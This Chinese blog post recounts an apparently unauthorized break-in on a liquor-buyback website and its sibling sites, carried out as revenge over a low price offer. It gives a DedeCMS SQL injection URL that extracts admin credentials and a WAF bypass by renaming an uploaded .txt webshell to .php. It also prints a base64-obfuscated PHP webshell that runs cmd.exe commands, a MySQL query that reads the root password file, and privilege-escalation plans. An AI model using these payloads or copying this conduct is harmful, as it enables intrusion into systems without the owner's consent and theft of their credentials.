记一次渗透测试

湖人总冠军!

起因

最近手里有瓶茅台酒,打算拿出去卖,于是上网搜高价回收烟酒,加了个卖家,聊了几句,发现对方态度不咋滴,收购价也低(后来知道这货比同行收购价少了四百块)。本着正义,对该网站进行了测试。
目标:www.a.com

信息收集

1
2
3
端口:80
旁站:www.b.com www.c.com(实际中还有三个旁站,但没啥利用,就不写了)
通过页面报错可知:iis7.5+win08

对a.com进行了测试,并未发现web层面上的漏洞,于是转向旁站。
对旁站b.com测试发现,该网站采用了phpwebCMS, 该cms的某些版本存在万能钥匙

想进后台?不存在的。第二个突破点是该后台还可以用burp爆破,页面不刷新验证码就不会变,挂了top1000的字典没跑出来,爆破看人品~。
接下来对c.com测试,输入robots.txt

熟悉不过了,dedecms,输入/dede,跳到管理后台

版本:Dedev57 想到之前有段代码能把管理员的账号密码给爆出来,于是试了一下

1
plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\' or mid=@`\'` /*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd)+from+`#@__admin` limit+0,1),5,6,7,8,9#@`\'`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=4294

结果被waf拦了

没办法,回到dede后台,尝试弱口令无果之后,就结合域名猜,猜了好久,记得当时是晚上十一点多,已经到了撩螺的时间,心想再试最后一分钟,没想到还真试出来了,密码:域名+0000

皮~,通过文件管理器将马子传上去,结果又被waf拦了

好吧,放弃撩螺时间,怼。
传php内容为一句话,杀
传php内容为1,杀
传txt内容为一句话,不杀
Dede有文件改名功能,所以把一句话写入txt,将txt改名为php即可绕过waf(尴尬)

上刀!

不想被查水表,所以打码狠点

有点意思

菜刀执行cmd:

发现报错,响应也看不懂
本站支持的脚本为:php,asp,针对该环境整理一下提权思路:

1
2
3
4
5
找个可写可读目录,上传cmd.txt,执行命令(这里运行之后提示缺少对象或者文件未找到(路径是对的),当时没截图,就不打算写了)
通过php进行提权,看是否能绕过disabled_function,进行命令执行。第二生成msf的php马,进行命令执行
通过asp进行提权,用asp的cmd马执行命令。第二生成msf的asp马,进行命令执行
通过mysql进行提权,读取配置文件,找root密码,进行udf,mof提权
代理出来,通过ms17-010

1

首先通过phpinfo查看禁止了哪些函数以及是否为安全模式


安全模式为off,没有禁掉exec_shell,可以用该函数执行命令

报错?难道姿势不对?那换种姿势看看

一脸懵逼??什么情况??那试试proc_open函数看看

也不行,创建进程失败,这时候想到了另外一种方法,那就是调用com组件会不会成功?这里用了t00ls分享的技巧

1
2
3
4
5
6
7
8
9
<?php
$l='baSe6';
$o='4_dE';
$v='cO';
$e='DE';
$love=$l.$o.$v.$e;
$a=$love('JHBocHdzaD1uZXcgQ09NKCJXc2NyaXB0LlNoZWxsIikgb3IgZGllKCJDcmVhdGUgV3NjcmlwdC5TaGVsbCBGYWlsZWQhIik7ICAKJGV4ZWM9JHBocHdzaC0+ZXhlYygiY21kLmV4ZSAvYyAiLiRfUE9TVFsnYyddLiIiKTsgIAokc3Rkb3V0ID0gJGV4ZWMtPlN0ZE91dCgpOyAgCiRzdHJvdXRwdXQgPSAkc3Rkb3V0LT5SZWFkQWxsKCk7ICAKZWNobyAkc3Ryb3V0cHV0OyA=');
eval($a=$a);
?>

在本地测试没问题,一丢到目标机子运行就报错:wscript.shell拒绝访问

啊!
换了各种大马也没见奇效!皮有点硬啊!
最后试一下反弹个msf的shell回来看看能不能执行命令和执行exe

进程列不出,shell也进不去。尝试运行exe

也不行,皮。

2

接下来试试asp能不能执行命令,首先上传cmd马运行,结果报错:Server.CreateObject调用失败,对象访问被拒绝。

我记得asp执行系统命令都会调用这函数的吧?之后也是换各种asp大马,cmd马都不行,提示缺少对象,调用Shell.application组件也不行。不支持aspx
同样试一下aspmsf马,结果。。。

3

其次就是翻各种配置文件了,因为没权限,目录卡的很死,只能看dedeCMS目录结构下的文件,理所当然的只能读到mysql低权限的dede用户,在common.inc.php读取数据账号密码
这里用到的是低用户读取user.MYD文件,从而读到root密码,用低用户链接数据,执行select @@datadir;查询读取数据库路径

所以user.MYDD:\mysql\Data\mysql\user.MYD
接下来开始读取root密码

1
2
3
create table `a` ( `content` LONGTEXT );
LOAD DATA LOCAL INFILE 'D:\\mysql\\Data\\mysql\\user.MYD' INTO TABLE `a` fields terminated by '' LINES TERMINATED BY '\0';
select `content` from `a`;


找不到user表?太炸了,讲真最惨的时候也只是读不出完整root密码而已,炸了炸了。这里有个问题,用户能链接到数据库,那肯定有个表存放着账号。我认为目标可能把user表给改名了,可又没有方法验证是不是这样。一般人也不会改这东西啊,奇怪了。

4

通过reGeorg代理,打445端口,结果也凉了,就不截图了

怼不过

目前并没有好的方法(有什么好技巧,可以私聊我),看看以后能不能找到某种方式执行命令,可以的话就写个提权文章补上。